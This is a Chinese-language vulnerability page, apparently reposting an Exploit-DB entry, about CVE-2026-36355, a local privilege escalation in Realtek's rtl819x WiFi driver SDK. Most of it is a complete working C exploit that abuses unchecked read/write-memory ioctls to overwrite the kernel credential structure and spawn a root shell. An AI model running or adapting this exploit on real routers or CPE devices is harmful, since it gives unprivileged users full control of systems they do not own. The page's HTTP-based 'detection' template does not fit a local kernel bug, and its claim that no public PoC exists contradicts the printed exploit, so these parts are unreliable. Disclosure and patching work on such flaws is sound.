[local] Realtek rtl819x - Local Privilege

Realtek rtl819x WiFi驱动本地提权漏洞CVE-2026-36355:ioctl 0x89F5/0x89F6缺少能力检查,非特权用户通过内存读写可root提权。影响RTL8192C/D/E等多款芯片,Jungle SDK v3.4.14B及以下版本。PoC漏洞分析、攻击步骤、修复建议。

CVE-2026-36355

Realtek rtl819x WiFi驱动ioctl缺少权限检查,非授权用户可通过内存读写提升至root权限。

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2026-36355
漏洞类型本地权限提升(ioctl缺少能力检查)
受影响版本Realtek rtl819x Jungle SDK 所有已知版本至v3.4.14B;芯片包括RTL8192C/D/E、RTL8188E、RTL8812、RTL8881A、RTL8197F等
危害等级High · CVSS 7.8
发布日期2026-05-27
来源Exploit-DB 原文 ↗

🔬 漏洞根因

Realtek rtl819x out-of-tree WiFi驱动SDK中对ioctl 0x89F5(write_mem)和0x89F6(read_mem)缺少必要的能力检查(capability checks),导致任意非特权用户可直接读写内核内存。

🎯 攻击场景

1. 前置条件:目标设备使用Realtek rtl819x驱动SDK,且无KASLR(ARM环境)。2. 攻击者以任意非特权用户身份运行PoC。3. PoC创建原始socket,扫描/sys/class/net找到受影响的无线接口。4. 通过ioctl 0x89F6读取内核.data段,暴力搜索init_task结构(通过匹配'swapper'字符串和校验cred指针的uid/gid=0)。5. 自动检测task_struct中tasks、pid、cred、comm字段偏移。6. 从init_task沿tasks链表向后遍历,找到当前进程的task_struct。7. 读取当前进程的cred结构地址,然后通过ioctl 0x89F5将cred中的uid/gid/securebits置0,并将capability位图写为全1。8. 成功提权后执行/bin/sh获得root shell。

💥 漏洞影响

攻击者可以以任意非特权用户身份获得内核级代码执行能力,完全控制设备:读写任意内核内存、提升至root权限、修改系统凭证、绕过所有安全机制。

⚔️ 原始 PoC

PoC分以下关键阶段:1. 定义ioctl命令码0x89F5(写内存)和0x89F6(读内存),通过struct iwreq封装命令字符串(格式'dw,addr,ndw'或'dw,addr,ndw,val')。2. find_interface()遍历/sys/class/net,尝试读取固定地址0xC0008000验证驱动是否响应。3. scan_for_init_task()在0xC0800000~0xC1000000范围内每128字节读取内存,搜索字符串'swapper'并校验cred指针(必须是0xC0000000~0xFFFFFFFF,且指向的usage>0、uid=0、gid=0)。4. detect_offsets()批量读取init_task的0x600字节,依次定位comm('swapper')、cred(comm前4-16字节中的合法内核指针)、tasks(非自引用的list_head,且下一个任务具有可打印comm)、pid(值为0且相邻任务pid不同)。5. find_task()从init_task的tasks->prev开始向后遍历,批量读取或单次读取找到目标PID。6. 读取cred+0x04处的uid和gid确认匹配,然后kfill将cred+0x04处9个32位字清零(uid/gid/securebits),再将cred+0x28处8个32位字写0xFFFFFFFF(capability集合)。最终校验getuid()==0后执行shell。

* Exploit Title: Realtek rtl819x  - Local Privilege Escalation 
 * Date: 2026-05-03
 * Exploit Author: Daniil Gordeev
 * Vendor Homepage: http://www.realtek.com
 * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)
 * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B
 * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)
 * CVE: CVE-2026-36355
 *
 * kpwn - RTL8192CD kernel LPE exploit
 *
 * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)
 * in the Realtek rtl819x out-of-tree WiFi driver SDK.
 *
 * Runs as ANY unprivileged user — no root needed at any stage.
 * Auto-detects task_struct offsets from init_task.
 *
 * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK
 * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc.
 *
 * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c
 * Usage: /tmp/kpwn  (any user, GID 3003/inet on paranoid kernels)
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dirent.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/wireless.h>

#define IOCTL_WRITE  0x89F5   /* SIOCDEVPRIVATE+5: write_mem */
#define IOCTL_READ   0x89F6   /* SIOCDEVPRIVATE+6: read_mem  */

/* kernel .data scan range for init_task (ARM, no KASLR) */
#define DATA_SCAN_START  0xC0800000
#define DATA_SCAN_END    0xC1000000

static int sockfd = -1;
static int nioctls = 0;
static char ifname[IFNAMSIZ];

/* ---- kernel R/W primitives ---- */

static int kread(unsigned long addr, void *out, int ndw)
{
    struct iwreq wrq;
    char buf[256];

    if (ndw > 32) ndw = 32;
    snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_READ, &wrq) < 0)
        return -1;

    nioctls++;
    int n = wrq.u.data.length;
    if (n > 0 && out)
        memcpy(out, buf, n > 128 ? 128 : n);
    return n;
}

static unsigned int kread32(unsigned long addr)
{
    unsigned int v = 0;
    kread(addr, &v, 1);
    return v;
}

static int kfill(unsigned long addr, int ndw, unsigned int val)
{
    struct iwreq wrq;
    char buf[256];

    snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val);

    memset(&wrq, 0, sizeof(wrq));
    strncpy(wrq.ifr_name, ifname, IFNAMSIZ);
    wrq.u.data.pointer = buf;
    wrq.u.data.length = strlen(buf) + 1;

    if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0)
        return -1;

    nioctls++;
    return 0;
}

/* ---- find vulnerable interface ---- */

static int find_interface(void)
{
    DIR *d = opendir("/sys/class/net");
    if (!d) return -1;

    struct dirent *e;
    unsigned int probe;
    while ((e = readdir(d))) {
        if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0)
            continue;
        strncpy(ifname, e->d_name, IFNAMSIZ - 1);
        probe = 0;
        if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) {
            closedir(d);
            return 0;
        }
    }
    closedir(d);
    return -1;
}

/* ---- resolve init_task ---- */

static unsigned long scan_for_init_task(void)
{
    /*
     * Brute-force: scan kernel .data for init_task.comm = "swapper".
     * Validate by checking cred pointer (must dereference to uid=0, gid=0).
     *
     * The returned base doesn't need to be exact — detect_offsets finds
     * all field positions relative to the base, and the math in find_task
     * and the overwrite phase uses (base + offset) pairs where any constant
     * shift cancels out. We just need "swapper" to land within the
     * detect_offsets search window (0x200-0x5F0 from returned base).
     */
    unsigned char buf[128];
    unsigned long addr;

    printf("[*] Scanning .data for init_task...\n");

    for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) {
        if (kread(addr, buf, 32) <= 0)
            continue;

        int j;
        for (j = 0; j <= 128 - 7; j += 4) {
            if (memcmp(buf + j, "swapper", 7) != 0)
                continue;

            unsigned long comm_addr = addr + j;

            /* validate: cred pointer just before comm → {usage, uid=0, gid=0} */
            unsigned int cred_ptr;
            if (kread(comm_addr - 4, &cred_ptr, 1) <= 0)
                continue;
            if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF)
                continue;

            unsigned int chk[3];
            if (kread(cred_ptr, chk, 3) <= 0)
                continue;
            if (chk[0] < 1 || chk[0] >= 10000)  /* usage refcount */
                continue;
            if (chk[1] != 0 || chk[2] != 0)      /* uid=0, gid=0 */
                continue;

            /*
             * Return comm_addr - 0x400 as base. This places comm at
             * offset 0x400 in the detect_offsets window (well within
             * the 0x200-0x5F0 search range). The base doesn't need
             * to be the true struct start — all offset math cancels.
             */
            unsigned long base = comm_addr - 0x400;
            printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base);
            return base;
        }
    }
    return 0;
}

static unsigned long resolve_init_task(void)
{
    return scan_for_init_task();
}

/* ---- auto-detect task_struct layout ---- */

struct offsets { unsigned long tasks, pid, cred, comm; };

static int detect_offsets(unsigned long init, struct offsets *o)
{
    unsigned char data[0x600];
    int i;

    /* bulk-read init_task (12 reads, 128 bytes each) */
    for (i = 0; i < 0x600; i += 128)
        if (kread(init + i, data + i, 32) <= 0) {
            printf("[-] Read init_task+0x%x failed\n", i);
            return -1;
        }

    /* comm: find "swapper" string — unique, most reliable anchor */
    o->comm = 0;
    for (i = 0x200; i < 0x5F0; i += 4)
        if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; }
    if (!o->comm) {
        printf("[-] 'swapper' not found in init_task\n");
        return -1;
    }

    /* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */
    o->cred = 0;
    for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) {
        unsigned int val = *(unsigned int *)(data + i);
        if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) {
            unsigned int chk[3];
            if (kread(val, chk, 3) > 0 &&
                chk[0] >= 1 && chk[0] < 10000 &&
                chk[1] == 0 && chk[2] == 0) {
                o->cred = i;
                break;
            }
        }
    }
    if (!o->cred) {
        printf("[-] Cred pointer not found near comm\n");
        return -1;
    }

    /* tasks: non-self-referencing list_head with valid chain and printable comm at next */
    o->tasks = 0;
    for (i = 0x100; i < 0x300; i += 4) {
        unsigned int next = *(unsigned int *)(data + i);
        unsigned int prev = *(unsigned int *)(data + i + 4);
        if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue;
        if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue;
        if (next == (unsigned int)(init + i)) continue;

        unsigned int nn = kread32(next);
        if ((nn & 0xC0000000) != 0xC0000000) continue;

        unsigned long next_base = (unsigned long)next - i;
        char tc[8] = {0};
        if (kread(next_base + o->comm, tc, 2) > 0 &&
            tc[0] >= 0x20 && tc[0] < 0x7F) {
            o->tasks = i;
            break;
        }
    }
    if (!o->tasks) {
        printf("[-] Tasks list_head not found\n");
        return -1;
    }

    /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */
    o->pid = 0;
    unsigned int tasks_next = *(unsigned int *)(data + o->tasks);
    unsigned long first_base = (unsigned long)tasks_next - o->tasks;
    unsigned int second_ptr = kread32(tasks_next);
    unsigned long second_base = (unsigned long)second_ptr - o->tasks;

    for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) {
        if (*(unsigned int *)(data + i) != 0) continue;
        if (*(unsigned int *)(data + i + 4) != 0) continue;   /* pid=0 AND tgid=0 */
        unsigned int p1 = kread32(first_base + i);
        if (p1 == 0 || p1 >= 32768) continue;
        unsigned int p2 = kread32(second_base + i);
        if (p2 == 0 || p2 >= 32768) continue;
        if (p1 == p2) continue;
        o->pid = i;
        break;
    }
    if (!o->pid) {
        printf("[-] PID offset not found\n");
        return -1;
    }

    return 0;
}

/* ---- walk task list backward (newest first, 1 ioctl per task) ---- */

static unsigned long find_task(unsigned long init, struct offsets *o,
                               pid_t pid, int *walked)
{
    unsigned long head = init + o->tasks;
    unsigned int buf[32];
    unsigned long cur;
    int batch = 0;
    int span = 0;
    *walked = 0;

    /* if pid and tasks fit in one 32-dword read, batch them */
    if (o->pid > o->tasks) {
        span = (o->pid - o->tasks) / 4 + 1;
        if (span <= 32) batch = 1;
    }

    /* walk backward: tasks.prev (offset +4) points to newest task */
    cur = kread32(head + 4);

    for (int i = 0; i < 512; i++) {
        if (cur == head || cur == 0)
            break;

        unsigned long base = cur - o->tasks;
        unsigned int p;
        unsigned long prev;

        if (batch) {
            /* single read gets tasks.next, tasks.prev, and pid */
            if (kread(cur, buf, span) <= 0) break;
            prev = buf[1];    /* tasks.prev = next older task */
            p = buf[(o->pid - o->tasks) / 4];
        } else {
            /* fallback: two individual reads */
            p = kread32(base + o->pid);
            prev = kread32(cur + 4);
        }

        (*walked)++;
        if (p == (unsigned int)pid)
            return base;
        cur = prev;
    }
    return 0;
}

/* ---- main ---- */

int main(void)
{
    uid_t orig_uid = getuid();
    gid_t orig_gid = getgid();
    pid_t pid = getpid();

    printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n");
    printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid);

    /* socket */
    printf("[*] Creating socket...\n");
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        if (errno == EACCES)
            printf("[-] Need GID 3003 (inet) on paranoid kernels\n");
        return 1;
    }

    /* find vulnerable interface */
    printf("[*] Scanning interfaces...\n");
    if (find_interface() < 0) {
        printf("[-] No rtl819x interface found\n");
        return 1;
    }
    printf("[+] %s — read primitive confirmed\n", ifname);

    /* resolve init_task */
    printf("[*] Resolving init_task...\n");
    unsigned long init = resolve_init_task();
    if (!init) {
        printf("[-] init_task not found\n");
        return 1;
    }
    printf("[+] init_task @ 0x%08lx\n", init);

    /* auto-detect offsets */
    printf("[*] Detecting task_struct layout...\n");
    struct offsets o;
    if (detect_offsets(init, &o) < 0)
        return 1;
    printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n",
           o.comm, o.cred, o.tasks, o.pid);

    /* find our task_struct */
    printf("[*] Searching for pid %d...\n", pid);
    int walked = 0;
    unsigned long task = find_task(init, &o, pid, &walked);
    if (!task) {
        printf("[-] pid %d not found (%d tasks walked)\n", pid, walked);
        return 1;
    }

    /* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */
    unsigned int info[5];
    char *comm;
    unsigned long cred;
    unsigned int k_uid, k_gid;

    kread(task + o.cred, info, 5);    /* cred ptr + 16 bytes of comm */
    cred = info[0];
    comm = (char *)&info[1];

    unsigned int uids[2];
    kread(cred + 0x04, uids, 2);     /* uid + gid */
    k_uid = uids[0];
    k_gid = uids[1];

    printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n", task, comm, walked);
    printf("[+] cred=0x%08lx uid=%u gid=%u\n", cred, k_uid, k_gid);

    if (k_uid != orig_uid) {
        printf("[-] uid mismatch: kernel=%u userspace=%u\n", k_uid, orig_uid);
        return 1;
    }

    /* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */
    printf("[*] Overwriting credentials...\n");
    kfill(cred + 0x04, 9, 0);                 /* uid..fsgid + securebits = 0 */
    kfill(cred + 0x28, 8, 0xFFFFFFFF);        /* cap_{inheritable,permitted,effective,bset} = full */

    if (getuid() != 0) {
        printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n", getuid());
        return 1;
    }

    printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n",
           getuid(), geteuid(), getgid(), getegid());
    printf("*** GOT ROOT *** uid=%u -> %d (%d ioctls)\n\n", orig_uid, getuid(), nioctls);

    execl("/bin/sh", "sh", NULL);
    printf("[-] execl: %s\n", strerror(errno));
    return 1;
}

🔬 深度技术分析

PoC分以下关键阶段:1. 定义ioctl命令码0x89F5(写内存)和0x89F6(读内存),通过struct iwreq封装命令字符串(格式'dw,addr,ndw'或'dw,addr,ndw,val')。2. find_interface()遍历/sys/class/net,尝试读取固定地址0xC0008000验证驱动是否响应。3. scan_for_init_task()在0xC0800000~0xC1000000范围内每128字节读取内存,搜索字符串'swapper'并校验cred指针(必须是0xC0000000~0xFFFFFFFF,且指向的usage>0、uid=0、gid=0)。4. detect_offsets()批量读取init_task的0x600字节,依次定位comm('swapper')、cred(comm前4-16字节中的合法内核指针)、tasks(非自引用的list_head,且下一个任务具有可打印comm)、pid(值为0且相邻任务pid不同)。5. find_task()从init_task的tasks->prev开始向后遍历,批量读取或单次读取找到目标PID。6. 读取cred+0x04处的uid和gid确认匹配,然后kfill将cred+0x04处9个32位字清零(uid/gid/securebits),再将cred+0x28处8个32位字写0xFFFFFFFF(capability集合)。最终校验getuid()==0后执行shell。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-36355-detection

info:
  name: Realtek rtl819x Local Privilege Escalation Detection
  author: daniil-gordeev
  severity: high
  description: Detects potential presence of vulnerable Realtek rtl819x out-of-tree WiFi driver by checking kernel capabilities for ioctl 0x89F5/0x89F6
  reference:
    - https://www.exploit-db.com/exploits/52000
    - CVE-2026-36355
  tags: cve,cve2026,realtek,lpe,kernel

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Connection: close

      - |
        POST /cgi-bin/luci/;stok=/locale HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close

        token=test&_=test

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Realtek"
          - "rtl819"
        condition: or

      - type: word
        words:
          - "stok"
          - "luci"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - '(rtl819[2-9][cde]?|rtl8188e|rtl8812|rtl8881a|rtl8197f)'

🛡️ 修复建议

厂商应发布补丁为ioctl 0x89F5/0x89F6添加CAP_SYS_RAWIO或类似能力检查。临时缓解:移除受影响的WiFi模块,或通过SELinux/AppArmor限制对设备节点(如/dev/wlanX)的访问,或将用户从GID 3003(inet)组中移除

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-29 08:08 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 该漏洞需要哪些用户组或能力?

在偏执内核上需要GID 3003(inet组),其他内核无需任何特权和用户组,任意非特权用户即可利用。

❓ 攻击者如何绕过KASLR?

原文指出测试环境为ARM且无KASLR,因此直接硬编码了扫描范围0xC0800000-0xC1000000。若开启KASLR,该方法失效,但PoC未提及绕过。

❓ 此漏洞是否影响所有Realtek WiFi芯片?

仅影响使用Realtek rtl819x out-of-tree驱动SDK的设备,包括RTL8192C/D/E、RTL8188E、RTL8812、RTL8881A、RTL8197F等,不包含使用上游内核驱动(in-tree)的设备。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)